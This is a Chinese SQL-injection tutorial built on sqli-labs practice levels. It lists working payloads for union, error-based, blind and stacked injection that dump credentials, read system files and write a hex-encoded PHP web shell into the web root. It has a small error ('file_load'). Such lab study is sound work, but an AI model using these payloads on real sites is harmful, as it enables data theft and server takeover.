6.sql注入

2023-04-28,,

sql注入

目录
sql注入
1、SQL注入原理
2、如何判断注入点
联合注入
报错注入(有错误报出)
布尔盲注(不管输入什么,界面只会出现两种结果)
时间盲注(不管输入什么,界面都是一样的)
堆叠注入(利用mysqli_multi_query()函数)
3、sqlmap学习

问题

1、SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。

2、如何判断注入点

可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。

联合注入

例子:(sql_lab第1关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名、表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

(5)查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

6)查询数据

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

(7)读文件

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(8)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

报错注入(有错误报出)

例子:(sql_lab第5关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名

?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(5)查表名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

(6)查列名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+

(7)查数据

?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+

(8)读文件

?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(9)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

布尔盲注(不管输入什么,界面只会出现两种结果)

例子:(sql_lab第8关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=-1' order by 1--+

(3)查看是否回显(可以用来写文件)

?id=-1' union select 1,2,3--+

(4)猜数据库长度

?id=1' and length(database())=8--+

(5)猜数据库名

?id=1' and substr(database(),1,1)='s'--+

?id=1' and ascii(substr(database(),1,1))=115--+

(6)猜出数据库后猜数据库中表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

(7)猜表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

依次类推一直猜......

(8)读文件(布尔盲注读不出来)

?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+

(9)写文件

?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

时间盲注(不管输入什么,界面都是一样的)

例子:(sql_lab第9关为例)

(1)找闭合

?id=1' and if(1=1,sleep(3),0)--+

(2)猜数据长度

?id=1' and if(length(database())=8,sleep(3),0)--+

(3)猜数据库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

(4)猜数据库中表数量

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+

(5)猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+

依次类推一直猜......

(6)读文件(可以用来探测是否存在这个文件)

?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+

(7)写文件

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+

堆叠注入(利用mysqli_multi_query()函数)

例子:(sql_lab第38关为例)

(1)可写入数据到数据库

?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");

3、sqlmap学习

6.sql注入的相关教程结束。

《6.sql注入.doc》

下载本文的Word格式文档,以方便收藏与打印。